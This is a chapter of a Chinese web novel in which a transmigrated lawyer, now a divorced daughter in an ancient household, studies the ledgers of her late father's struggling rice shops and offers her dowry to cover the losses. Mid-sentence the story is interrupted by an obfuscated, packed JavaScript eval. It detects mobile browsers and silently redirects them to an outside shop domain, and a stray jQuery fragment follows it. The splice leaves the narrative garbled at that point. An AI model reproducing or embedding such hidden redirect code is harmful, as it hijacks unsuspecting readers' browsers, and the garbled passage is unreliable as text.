翌日，五更时分，顾瑾禾起身梳洗理妆。用过早饭，秋棠便打开箱笼，将里面的器物一一翻出整理。
忙活一阵，又另启一箱，收拾里面的旧书。戏本话本，古籍典范，地理游记乃至于从前临摹的字帖，通通被她翻找出来。
正收拾着，忽见玉捻回来，捧着摞蓝皮册子立在门口：“小姐要的米铺账册，我从太太处寻来了。”
说着，便走进来，将手中的账册递给顾瑾禾，上中下总共六册。六本册子都写着“顾氏米铺”，玉捻翻开略微泛黄的纸页，道：“这是前一整年的进出项。”
账目从右至左记“进，缴，存，该”四柱，末尾不少批注，都是从前大老爷核账时写下的。顾瑾禾一直翻到最后，上面写着“庆元二十八年四月”。看样子是大老爷病中留下的。
秋棠凑过来瞥了眼密密麻麻的行目，随手抓起一册话本，胡乱翻开：“要我说，咱们刚搬过来，小姐何必忙这个，就该让外头账房里管账的……”话没说完就被玉捻瞪了回去。
顾大老爷读书资质平平，做买卖却十分精明能干。顾氏米铺现有三间铺面，专做粮食买卖。主营粟米，黍谷，荞麦，也售有精米，糙米，大麦，小麦，胡麻，火麻及各色豆类等数十种谷物，偶尔兼营干货杂销，做灶台边的粮食生意。
铺中粮物品类齐全，定价合适，很受左邻右舍信任。大老爷自己常去铺里看账点货，生意虽然不算特别大，但胜在价格实惠，日日开张，日日都有进账，靠着薄利多销，盈余相当稳定。
大老爷在外面经营所得，不仅能承担大房的部分杂用开支，还能向公中上缴一部分，供顾家一大家子额外花销。这可比他读书考科举有成就感多了。
可惜自从大老爷去世，云氏在后宅处处受制，难以顾及外面的生意。大老爷行丧，米铺停业几月有余。现今的三间米铺，有两间经营不善，难以为继。每月要云氏单拿银子发伙计的月例，纯是往里搭钱。
余下的一间比收支相抵好一些，算略有赚头，勉强维持。
大房这边几下里开销，一是宅院日常用度，上下一二十仆役月例。二是年节将近，有道年关难过，对外人情往来，各家婚丧嫁娶、寿宴满月，份例银、贺礼。对内大小年节赏钱、祭祖敬先、备年货、裁新衣，一项少不得，处处要银子周转。
三是米铺亏损，每月额外拨银填补缺口，进项不多，出项却大，单靠云氏的嫁妆，进出两难。无财无权，免不了受人制衡。
等顾瑾禾看完账本，屋外已飘起雪来。雪粒子打在窗上，扑簌簌地作响。向外望去，看见院里一株高大的杜仲树虬枝覆雪，想起很多年前。
四岁那时，云氏托娘家请来一位女先生为她启蒙，这棵树就是当年那位老师带她种下的。
顾瑾禾学十余载，天资聪颖，后来又时常听父亲经商买卖的经历，见多识广，十年光景一晃而过。顾瑾禾出嫁又归家，父亲也骤然离世。
两家儿女两重天。杨家大公子和离后在杨家安稳如常。
顾家大小姐和离后千里迢迢从京城归家，脚无立锥之地。云氏带着两个女儿自立门户，整个大房一片凄风苦雨。
现代的顾瑾禾是一名执业律师，老话说祖上积德，她是祖上积了嘴皮子功夫。她家老一辈往前，古代出过上公堂写状纸的讼师。到她父母这一辈，更是双双成了职业律师。
可惜他们一家子聪明人，擅长处理案子，不擅长经营日子。父母常年忙于工作，最后干脆和平离异，各奔事业。
顾瑾禾一路卷学业，卷工作。谁知道在回去看望父母飞机上失事而亡，这么小概率的事，都能让她碰上。老天爷真是荒诞，神来一笔，给她开辟了意外局。
……
清园正院
柳妈妈正跟云氏算着进项。大房如今是独门独户，谁也不挨谁，云氏有心不靠旁人，要自己支撑起来。
只是上下几月的账目一算，云氏忍不住长长地叹口气。因为天灾水患的缘故，今年物产萧条。陪嫁的庄子没了进项，米铺也指望不上，真是愁人。
她想了想，忍不住发愁：“汪大用说裁人的事，容我再想想，铺上的人都是咱们家多年的伙计，先把上月的工钱送过去，好歹让大伙儿过完这个年再说。”
柳妈妈点点头，也是忧心忡忡：“要还是拿太太的例银二一添作五贴上去，就罢了。可昨儿咱们搬家时，太太领着小姐先行一步，我留在后面收尾打理。三太太临了派了个婆子上门，一时说送了大房的例银来，一时又说忘了带，胡扯了一刻钟便去了。”
“太太掌家时，何时短了几房太太的钱，三房小少爷害痘疹用的，还是从大房私库里支的！如今倒会克扣咱们的例儿了！”
云氏面沉似水听着：“她想拿银子吊着威胁我？痴人说梦，我说过两边自此分开，她又上门来做什么，难道我大房不靠那点银子，过不下去不成？”
柳妈妈说道：“咱们才搬过来，置办日常用具什物都是额外的，下月就没有这笔花销了。不过，无论如何，早晚还是得裁人，铺子生意不好，白白养好几个闲人，笔笔都是支出。”
“账上还有些现银呢，先支着用吧。”云氏重重叹了声，古人云百病皆生于气，原是最重颐性养寿之道的人，如今倒愁得三天两头长吁短叹。
“我这里还有些银子。”这时，门帘突然掀开，顾瑾禾从外面走了进来，“阿娘的钱留着打点节礼，米铺的窟窿用我的嫁妆填上。”一面说，一面将银票放进柳妈妈手边的钱匣子里。
“何必要姑娘操劳。”柳妈妈忙起身，把匣子
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17964098|214418||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
盖上，“太太自有主意......”
云氏闻言拦住她：“禾儿怎么过来了？这么冷的天，哪用得着你亲自跑，账册子让人送过来就是。”
又温声道，“嫁妆银子你留着自个儿用。买些物件，裁几件衣裳，或者去书铺瞧瞧书画，到茶楼品香吃新茶都使得，不用你惦记钱的事。”
顾瑾禾却道：“阿娘，粮食买卖不是寻常生意，若是往后铺子又经营起来，人手却不好找。娘总说能算就能管，实打实的粮铺，不就是现成的进项？不如让女儿去米铺瞧瞧，若能把生意支起来，总好过坐吃山空。”
云氏听了，没立刻接话，只抬头打量她，见她目光清亮，面相精神，话说得郑重其事。女儿从前就是这个模样，爱东奔西跑，爱打算，爱谈天说地。
云氏已经有两三年没见过她了。瑾禾是她的头生女儿，远嫁京城，千里相隔，想着嫁得好人家，也算有了依靠，谁料最后落得个和离的下场。和离也就罢了，哪怕回顾家，家里母女一处住着，日子也还能过。
云氏心里百味陈杂，这样一想，又生起另一层愧疚。以前听人嚼闲话，有的人家，女儿未嫁时眼珠子似的爱，一旦嫁了人，再回来便是旁路外人。如今轮到自己头上，才尝出是什么滋味。
见她愣神，顾瑾禾接口道：“母亲若是怕我莽撞，不妨让我带着旧年管家和账房同去，横竖他们常年同父亲管着外面的营生。”
云氏伸手替她理理衣裳，看她高兴，整个人精神许多。想她刚醒那会儿，神色恹恹的，连说话都没力气，如今这样鲜活，还主动要去打理铺子，已是大好，心里便觉得宽慰了。
过了很久，云氏点点头，去铺子里走走也好，权当换换心思，“带上人，上街逛逛也罢，让丫头给你加件衣裳，别叫风扑了。”
用过午饭，顾瑾禾一边核算往年账目，一边开始盘算生意的事。接手顾氏米铺，行当是现成的，不用从头开始筹本金，组人手。既有仓房铺面，又有父亲留下的老伙计，比另起炉灶要省事得多。
除此之外，真州本地有刘、杜、丁三家最大的粮商。这三家主要是做城内富贵人家，老字号饭馆和大酒楼的买卖，城中耗粮最多的地方，几乎被他们包了大半。
大老爷当年选米粮行时，想得也周全。大粮商做的是大宗买卖，寻常百姓在乎的是价钱。不管刘家大米行，还是顾家小米铺，谁家便宜一二分，谁给足分量，才是实在。
薄利多销，以量补利。当年顾家铺子就是这么做下来的。顾瑾禾比对着估算了一回，觉得若能把那些散户拢住，再寻几家小馆子，做固定生意，不拘厚薄，未必不能扭亏为盈。
看完账册，顾瑾禾心里有了数，打算明日一早去米铺瞧瞧。就从盈利微薄，还能自负盈亏的那间开始。